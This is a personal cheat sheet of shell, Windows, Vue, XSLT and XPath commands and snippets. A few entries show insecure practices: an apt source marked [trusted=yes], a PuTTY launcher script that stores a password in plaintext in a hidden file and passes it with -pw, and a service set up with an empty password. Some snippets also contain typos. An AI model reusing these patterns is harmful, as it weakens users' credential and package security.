#############################################################
## Visual Boy Advance (VBA)
#############################################################
# Install VBA
# Add to: /etc/apt/sources.list
deb [trusted=yes] http://ftp.de.debian.org/debian bullseye main
# Install:
sudo apt install visualboyadvance
# Install VBA Dev environment:
https://medium.com/@microaeris/getting-started-with-gba-development-on-linux-a2c17ea826ea
sudo apt install devkitpro-pacman
export DEVKITPRO=/opt/devkitpro
export DEVKITARM=/opt/devkitpro/devkitARM
#
# wav2agb
git clone https://github.com/ipatix/wav2agb
export $HOME/git/wav2agb
# Example VBA hello world.
cp $DEVKITPRO/examples/gba/template/ my -r
cd my
make
VisualBoyAdvance my.gba
# Apply updates to VBA.
perl -i -0777pe '$_ .= "ETERNATUS_ETERNAMAX\n" if not /ETERNATUS_ETERNAMAX/' src/tm_compatibility/*.txt src/tutor_compatibility/*.txt
python3 scripts/make.py
# Toggle level 100/255 (VBA)
perl -i -lpe 's/ MAX_LEVEL ,? \s+ \K \d+ /100/x' $(grep_text_files 'MAX_LEVEL.*(255|100)' -l)
#############################################################
## Visual Studio (Windows 10)
#############################################################
# Fold all code in Visual Studio (Toggle Fold)
Control+M, Control+L
# Visual Studio 2015 Change encoding of a file
File -> “Advanced Save Options“
Select “Unicode (UTF-8 …“)
# Visual Studio column mode
Alt + Click and drag.
#
# Visual Studio ZoomIn/Out
Control +
Control -
#############################################################
## Visual Studio Code
#############################################################
# Visual Studio Code (VSC) block edit (mode)
Shift + Alt + Click and Drag
# Visual Studio Code (VSC) bring up keybpard bindings
Control + Shift + P
# Decode AndroidManifest.xml, update it and build apk again.
Visual Studio Code
# Install APKLab
Control + Shift + P
Search: APK Lab
Select how to decompile.
Update AndroidManifest.xml
extractNativeLibs="true"
ReBuild and Sign APK
Right-Click on or inside apktool.yml file ➜ APKLab: Rebuild the APK
#############################################################
## VPN
#############################################################
# Open VPN file storage location on Ubuntu:
/etc/NetworkManager/system-connections/
# For android, change '=' to ' '
# Manually run openvpn.
cd ~/my/git/otrs/SETUP/vpn_setup/EasyRSA/pki/private
sudo openvpn --config vpn-otrs.conf
#############################################################
## VLC
#############################################################
# Install support for creating soft subtitles in vlc videos (mp4)
sudo apt install gnome-subtitles
rm -fr ~/.cache/gstreamer-1.0/* # If error opennig file.
gnome-subtitles
#############################################################
## Vue - General
#############################################################
# Vue shorthand (shortcuts)
@click = v-on:click
:value = v-bind:value
# Check Vue version
npm v vue
# Create Vue CLI app
vue create vue-first-app
# Run Vue server (start)
cd vue-first-app
npm run serve
#
# The npm run commands can be found in:
package.json /"scripts":
#
# Defaut script commands:
serve
build
lint
# Missing Node modules folder
npm install
# Setup vue webpack (many files)
npm install --global vue-cli
vue init webpack
# Vue - Watch for changes to this.$refs
this.$watch(() => this.timerRef ? this.timerRef.timer.time : null, (newTime, oldTime) => {
console.log('Watched time: ', newTime, oldTime);
this.$refs.form.values.AccountedTime = newTime;
});
#############################################################
## WII
#############################################################
# Write files/games to WII.
https://mariokartwii.com/showthread.php?tid=121
https://www.gametdb.com/Wii/Search
#############################################################
## Windows Bugs
#############################################################
# Windows stuck in control mode (Tobias Wulf,windows bug)
Recovery: Most of the time, Ctrl + Alt + Del re-sets key status
to normal if this is happening. (Then press Esc to exit system screen.)
Another method: You can also press stuck key: so if you clearly see that
it is Ctrl which got stuck, press and release both left and right Ctrl .
# Why I have to press keys two times to get the ^ or ´ or ` (windows bug)
With this keyboard layout the ^ keystroke becomes a modifier to
enabling entering of special characters.
To get a single ^ character you will need to type ^+Space.
#############################################################
## Windows Command Prompt (DOS)
#############################################################
# Set an environmental variable (DOS)
setx <variable> <value>
# Unset an environmental variable (DOS)
setx <variable> ""
# Append path environmental variable (DOS)
setx path "new_dir_to_append"
# Change the width and height of a DOS window
mode con: cols=120 lines=20
#############################################################
## Windows - Drives
#############################################################
# Get mapped windows drives
net use
# Map windows drives
net use k: \\path /persistent:yes
#############################################################
## Windows - Excel
#############################################################
# Get last row in an excel column
=MATCH(TRUE,INDEX($K$3:$K$22="",0),0)-1
# Show excel formulas
Ctrl + `
# Insert the current date
Ctrl + :
# Insert the current time
Ctrl + Shift + :
# Drag excel column
Ctrl + r
# Drag excel row
Ctrl + d
#############################################################
## Windows - Filesystem
#############################################################
# /etc/hosts on Windows
C:\Windows\System32\drivers\etc
# Check if a program on Windows is 32 or 64 bit (objdump,stat,file)
Control + Shift + ESC
-> More Details
-> "Details" tab
Right Click
Select Columns
Platform
#
# Another way
"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.21.27702\bin\Hostx64\x64\dumpbin" /headers hinstall.exe | findstr machine
# Find windows start location folder (autostart scripts)
Windows + R
type:
shell:startup
shell:common startup
# Delete a deeply nested folder on Windows
cd bad_dir
mkdir empty
robocopy empty bad_dir /mir :: mirror blank directory over nested
rmdir empty bad_dir
# Question:
# What differences are between Authenticated Users, SYSTEM, Administrators
# (ADMIN\Administrators), and Users (ADMIN\Users) (Windows 10)
#
# Answer:
# They are all default users and groups Windows uses to maintain
# permissions, typically for security purposes.
#
# Authenticated Users is a pseudo-group (which is why it exists, but is not
# listed in Users & groups), it includes both Local PC users and Domain users.
#
# SYSTEM is the account used by the operating system to run services,
# utilities, and device drivers. This account has unlimited power and access
# to resources that even Administrators are denied, such as the Registry's SAM.
#
# Administrators can do just about everything a user would want to do with
# Windows, typically this includes the first user you create with windows.
# You are probably a member of this group.
#
# Users are accounts with lower permissions, and typically require an Administrator
# to enter their password to do anything that would bring up a UAC console in
# Windows. You can create accounts with these permissions (I do it for my
# guest account) with the "Add Remove User Accounts" menu in the Control Panel.
# Find out who have a file opened
# Need to have this setup one time (as admin)
openfiles.exe /local on
# restart PC
#############################################################
## Windows - Outlook
#############################################################
# Windows Outlook.
# Monospaced font
Courier New
#############################################################
## Windows - Registry
#############################################################
# Registry file location on windows 10
C:\Users\<USER>\NTUSER.DAT
# Script to update the windows registry
#
@echo off
echo.
cd ..
reg add HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\MY_PATH /t REG_SZ /v AppPath /d %cd% /f
echo.
echo AppPath = %cd%
echo.
pause
# Dump windows 10 registry to a file (query,view,search)
reg export "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\MY_PATH" my.reg
reg export "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\MY_PATH" my.reg /y
# Enable Restore Points in Windows 10
Win + r
Type: regedit
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore
Double - Click "DisableSR"
1 - Disabled
0 - Enabled
#
# Restart PC for changes to take effect.
# Add the "Open command window here" option back to windows 10 commamd prompt (registry,DOS)
# when doing right click.
#
# Go to the regestry
Win + r
type: regedit
#
# For these paths:
Computer\HKEY_CLASSES_ROOT\Directory\shell\cmd
Computer\HKEY_CLASSES_ROOT\Directory\background\shell\cmd
#
# Update permissions:
- Right-click the PowerShell (folder) key, and click Permissions.
- Click the Advanced button.
- On "Advanced Security Settings," click the Change link next to "Owner".
- Type your account name in the provided field, click Check Names to verify
you're typing the account name correctly, and click OK.
- Check the Replace owner on subcontainers and objects option.
- Click Apply.
- Click OK.
- On "Permissions," select the Administrators group.
- Under "Permissions for Administrators," select Allow for the Full Control option.
- Click Apply.
- Click OK.
#
# Show option:
- Inside the cmd (folder) key, right-click the HideBasedOnVelocityId DWORD,
and click Rename.
- Change the DWORD name from HideBasedOnVelocityId to ShowBasedOnVelocityId,
and press Enter.
#
# Hide option (undo the change):
- rename the DWORD from from ShowBasedOnVelocityId to HideBasedOnVelocityId
#############################################################
## Windows - Variables
#############################################################
# Get windows script directory (DOS,pwd,windows vars)
echo %~dp0
# Start in currect script directory (windows vars)
cd /d %~dp0
#############################################################
## Windows Commands - ipconfig
#############################################################
# Internet not working on Windows
# Disable all adapters, but Ethernet 2.
# Then:
ipconfig /renew
ipconfig /release
# Enable the adapters again.
#############################################################
## Windows Commands - net
#############################################################
# See which folders are being shared on windows 10
net share
#############################################################
## Windows Commands - netstat
#############################################################
# Special Addresses
netstat -ano -p tcp | findstr 8080
# Address 0.0.0.0 allows access by another machine.
# Address 127.0.0.1 allows faking a server by using the loopback adapter.
#############################################################
## Windows Commands - putty
#############################################################
# Launch all benches and watch the date (Putty,xterm)
#
# @REM='
# @echo off
# mode CON: COLS=120 LINES=30
#
# set file=H:/kog.dat
# perl -lE "$f='%file%'; -e $f and exit; print qq(Enter your password: ); chomp($p=<STDIN>); open FH, qq(>$f); print FH $p; system qq(attrib +h $f) "
# set /P pass=< %file%
#
# echo Opening Exceed
# start /B "Exceed" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Open Text Exceed 14 x64\Exceed.lnk"
#
# echo Opening Putty
# perl -x -l -S "%0" "%pass%"
# echo Everything is opened. Close this Window.
# exit /b
# ';
#
#
# #!perl
#
# #-----------------------------------------------------
# # SUBS
# #-----------------------------------------------------
#
# sub make_file {
# my ($n,$x,$y) = @_;
# my $file = "run$n.txt";
# open FH, ">", $file or die $!;
# print FH q(echo -e '\e[8;1;30t'); # Size
# print FH "echo -e '\\e[3;$x;${y}t'"; # Placement
# print FH "/home3/timp/watchdate";
# close FH;
# $file;
# }
#
# sub make_cmd {
# my ($user,$_,$pass,$file) = @_;
# my $cmd = qq(start "Putty" "$ENV{PWPROD}\\wnt\\putty\\putty.exe" -X -ssh $user\@lnxbr$_ -pw $pass -m "$file" -t&);
# $cmd;
# }
#
#
# my ($pass) = @ARGV;
#
#
# #-----------------------------------------------------
# # new
# #-----------------------------------------------------
# my @benches = grep { not / 40 | 49 /x } 21..70;
# my $COLS = 3;
# my $ROWS = @benches / $COLS;
# my $Xoffset = 300;
# my $x = $Xoffset;
# my $y = 0;
# my $height = 50;
# my $width = 270;
# my $cnt = 0;
# my $y2;
# my $user = "timp";
#
# $ROWS++ if $ROWS > int($ROWS);
#
# for(@benches){
# my $file = make_file($_,$x,$y);
# my $cmd = make_cmd($user,$_,$pass,$file);
# # print $cmd;
# system $cmd;
#
# $y += $height;
# $cnt++;
# if($cnt >= $ROWS){
# $y2 //= ($y + $height);
# $x += $width;
# $y = 0;
# $cnt = 0;
# }
# }
#
# #-----------------------------------------------------
# # user
# #-----------------------------------------------------
#
# @benches = qw/24 36 42 43/;
# $x = $Xoffset;
# $y = $y2;
# $user = "<USER>";
# for(@benches){
# my $file = make_file($_,$x,$y);
# my $cmd = make_cmd($user,$_,$pass,$file);
# # print $cmd;
# system $cmd;
# $y += $height;
# }
#
#
# #-----------------------------------------------------
# # admin
# #-----------------------------------------------------
#
# @benches = qw/24 36 42 43/;
# $x += $width;
# $y = $y2;
# $user = "<USER>";
# for(@benches){
# my $file = make_file($_,$x,$y);
# my $cmd = make_cmd($user,$_,$pass,$file);
# # print $cmd;
# system $cmd;
# $y += $height;
# }
#
#
#
# __END__
#
#############################################################
## Windows Commands - sc
#############################################################
# Service commands
::
:: Add new service
sc.exe create MyProgram binPath="C:\Program Files (x86)\Windows Resource Kits\Tools\srvany.exe"
sc config MyProgram start=auto
sc.exe config MyProgram obj= "me@home.com" password= ""
::
:: Remove a service
sc.exe delete MyProgram
::
:: Start a service
sc.exe start MyProgram
::
:: Stop a service
sc.exe stop MyProgram
#############################################################
## Windows Commands - schtasks
#############################################################
# TASK_INSTALL.bat (Scheduler)
# Manually create task.xml in task scheduler, then export
cd /d %~dp0
python.exe task_create_xml.py
schtasks /CREATE /TN MyProgram /XML task.xml /RU %USERNAME% /RP
DEL /F task.xml
# TASK_SHOW.bat (Scheduler)
schtasks /QUERY /TN Statusmonitor /V /FO LIST
# TASK_UNINSTALL.bat (Scheduler)
schtasks /DELETE /TN Statusmonitor /F
#############################################################
## Windows Commands - start
#############################################################
# Start a window minimized
start "TITLE" /D "START_PATH" /MIN PERL MY.PL
#############################################################
## Windows Commands - tasklist
#############################################################
# Kill any process (like notepad). Put this in a .bat file
@perl -e "kill -9, `tasklist`=~/Notepad\S*\s+(\d+)/gi"
# Kill any process. like previous, but can be more descriptive
@tasklist /v /fo list | perl -00ane "kill -9, /PID:\s+(\d+)/ if /Image Name:\s+Notepad/i"
#############################################################
## Windows Commands - taskkill
#############################################################
# Stop a running program
taskkill /F /IM python.exe
#############################################################
## Windows Commands - where
#############################################################
# Find the location of a program in Windows (whereis, which)
where cdd
#############################################################
## Wine - Windows on Linux
#############################################################
# Setup wine.
sudo apt install wine wine64 winetricks
winetricks corefons
#############################################################
## XMLint
#############################################################
# Install xmllint
sudo apt install libxml2-utils
# Format an xml file on the command line.
xmllint --format my.xml
#############################################################
## XLST (Xalan-Java Program, org.apache.xalan.xslt.Process)
#############################################################
# Common Options (Xalan-Java,org.apache.xalan.xslt.Process)
# -XSLTC (use XSLTC for transformation)
# -IN inputXMLURL
# -XSL XSLTransformationURL
# -OUT outputFileName
# -V (Version info)
# -EDUMP [optional filename] (Do stackdump on error.)
# -XML (Use XML formatter and add XML header.)
# -TEXT (Use simple Text formatter.)
# -HTML (Use HTML formatter.)
# -PARAM name expression (Set a stylesheet parameter)
# -MEDIA mediaType (use media attribute to find stylesheet associated with a document)
# -FLAVOR flavorName (Explicitly use s2s=SAX or d2d=DOM to do transform)
# -DIAG (Print overall milliseconds transform took)
# -URIRESOLVER full class name (URIResolver to be used to resolve URIs)
# -ENTITYRESOLVER full class name (EntityResolver to be used to resolve entities)
# -CONTENTHANDLER full class name (ContentHandler to be used to serialize output)
# -SECURE (set the secure processing feature to true)
# Options for Xalan-Java Interpretive (Xalan-Java,org.apache.xalan.xslt.Process)
# -QC (Quiet Pattern Conflicts Warnings)
# -TT (Trace the templates as they are being called)
# -TG (Trace each generation event)
# -TS (Trace each selection event)
# -TTC (Trace the template children as they are being processed)
# -TCLASS (TraceListener class for trace extensions)
# -L (use line numbers for source document)
# -INCREMENTAL (request incremental DTM construction by setting
# http://xml.apache.org/xalan/features/incremental to true)
# -NOOPTIMIMIZE (request no stylesheet optimization proccessing by setting
# http://xml.apache.org/xalan/features/optimize to false)
# -RL recursionlimit (assert numeric limit on stylesheet recursion depth)
# Options for Xalan-Java Compiled (XSLTC) (Xalan-Java,org.apache.xalan.xslt.Process)
# -XO [optional transletName] (assign the name to the generated translet)
# -XD destinationDirectory (specify a destination directory for translet)
# -XJ jarfile (package translet classes into a jar file of name <jarfile>)
# -XP package (specify a package name prefix for all generated translet classes)
# -XN (enable XSL template inlining into one big method)
# -XX (turn on additional debugging message output)
# -XT (use translet to transform if possible)
# xsl "<xsl:apply-templates />" with no selection
# In the absence of a select attribute, the xsl:apply-templates instruction
# processes all of the children of the current node, including text nodes
# Run xslt on the command line
# CANNOT handle version 2.0 (matches)
xsltproc ToJson.xsl In.xml
# XSLT Samples - Copy tag
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml"/>
<xsl:template match="/">
<Parameters>
<Element>123</Element>
<xsl:copy>
<xsl:copy-of select="/MY_XPATH"/>
</xsl:copy>
</Parameters>
</xsl:template>
</xsl:stylesheet>
# XSLT copy commands
#
# xsl:copy is a shallow copy.
# Use it if all you want is to copy the current node
# (the "context item" in spec-speak).
#
# xsl:copy-of is a deep copy.
# Use it if you want to copy the complete node tree
# under the current node.
# XSLT Samples - variable, condition, match, negation
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml"/>
<xsl:template match="/">
<xsl:vriable name="MyVar" select="MyXPath"></xsl:variable>
<xsl:if test="matches($My, '^HEY$')">MATCHES</xsl:if>
<xsl:if test="not(matches($My, '^HEY$'))">NOT MATCHES</xsl:if>
</xsl:template>
</xsl:stylesheet>
# XSLT Samples - Move element into another
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="xml" indent="yes"/>
<xsl:template match="/">
<Root>
<TAG1>Tag1</TAG1>
<TAG2>Tag2</TAG2>
<Parameter>
<xsl:copy-of select="//TAG3"/>
<xsl:apply-templates select="//TAG4"/>
<TAG5>Tag5</TAG5>
<TAG6>Tag6</TAG6>
</Parameter>
</Root>
</xsl:template>
<xsl:template match="//TAG4">
<TAG4>
<xsl:copy-of select="*"/>
<TAG4_ADD>
<xsl:copy-of select="//TAG4_TO_MOVE/*"/>
</TAG4_ADD>
</TAG4>
</xsl:template>
</xsl:stylesheet>
# XSLT Samples - Using variables.
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="xml"/>
<xsl:template match="/">
<Root>
<Object>Kernel::System::SAPIntegration::CustomerCompany</Object>
<Method>Synchronize</Method>
<Parameter>
<Data>
<xsl:choose>
<xsl:when test="/WRAPPER/*/Customer">
<xsl:apply-templates select="/WRAPPER/*/Customer"/>
</xsl:when>
<xsl:otherwise>
<xsl:copy-of select="/WRAPPER/ActionType"/>
<xsl:copy-of select="/WRAPPER/SAPObjectID"/>
</xsl:otherwise>
</xsl:choose>
</Data>
</Parameter>
</Root>
</xsl:template>
<xsl:template match="/WRAPPER/*/Customer">
<xsl:copy-of select="*"/>
<xsl:copy-of select="/WRAPPER/ActionType"/>
<xsl:copy-of select="/WRAPPER/SAPObjectID"/>
<xsl:copy-of select="/WRAPPER/EmployeeIDs"/>
<UserID>1</UserID>
<SalesRepresentative>
<xsl:variable name="SalesReps" select="//DirectResponsibility[PartyRoleCode='142']/EmployeeID/text()"/>
<xsl:copy-of select="/WRAPPER/*/EmployeeCollection/Employee[EmployeeID=$SalesReps]"/>
<S>
<xsl:for-each select="$SalesReps">
<xsl:value-of select="."/>
<xsl:if test="position() < last()">,</xsl:if>
</xsl:for-each>
</S>
</SalesRepresentative>
<BRMRepresentative>
<xsl:variable name="BRMReps" select="//DirectResponsibility[PartyRoleCode='Z2']/EmployeeID/text()"/>
<xsl:copy-of select="/WRAPPER/*/EmployeeCollection/Employee[EmployeeID=$BRMReps]"/>
</BRMRepresentative>
</xsl:template>
</xsl:stylesheet>
#############################################################
## XPath
#############################################################
# Xpath in Chrome console
$x('//body//h2')
# Xpath . is a shorthand for text():
$x('//tr[contains(@class, "MyClass")]/td/span[contains(@id, "-Title")]/span[contains(text(),"MyText")]')
$x('//tr[contains(@class, "MyClass")]/td/span[contains(@id, "-Title")]/span[contains(.,"MyText")]')
# XPath in Javascript code
elem = document.evaluate('//span[@id="MyID"]', document, null, XPathResult.ANY_TYPE, null).iterateNext();
elem = $x('//span[@id="MyID"]')[0]
#
# Same as css selector:
elem = document.querySelector('span[id="MyID"]')
# Xpath vs Css Selector Examples
my $css1 = 'span[id="MyId"]';
my $xpath1 = '//span[@id="MyId"]';
my $css2 = '.MyClass input[type="checkbox"][name="MyName"]';
my $xpath2 = '//*[contains(@class, "MyClass")]//input[@type="checkbox"][@name="MyName"]';
# Select multiple tags with xpath.
xpath -q -e '//TAG1|//TAG2' input.xml
# Xpath to get navigate children and parents.
$x('//h4[@class="modal-title Modal__Title"]/ancestor::div[1]/descendant::button[@aria-label="Yes"]')
## Y
#############################################################
## Zrepl
#############################################################
# Install zrepl on Ubuntu
sudo apt update && sudo apt install curl gnupg lsb-release
ARCH="$(dpkg --print-architecture)"
CODENAME="$(lsb_release -i -s | tr '[:upper:]' '[:lower:]') $(lsb_release -c -s | tr '[:upper:]' '[:lower:]')"
curl https://zrepl.cschwarz.com/apt/apt-key.asc | sudo apt-key add -
echo "deb [arch=$ARCH] https://zrepl.cschwarz.com/apt/$CODENAME main" | sudo tee /etc/apt/sources.list.d/zrepl.list
sudo apt update
sudo apt install zrepl
#############################################################
## New and Unsorted Commands
#############################################################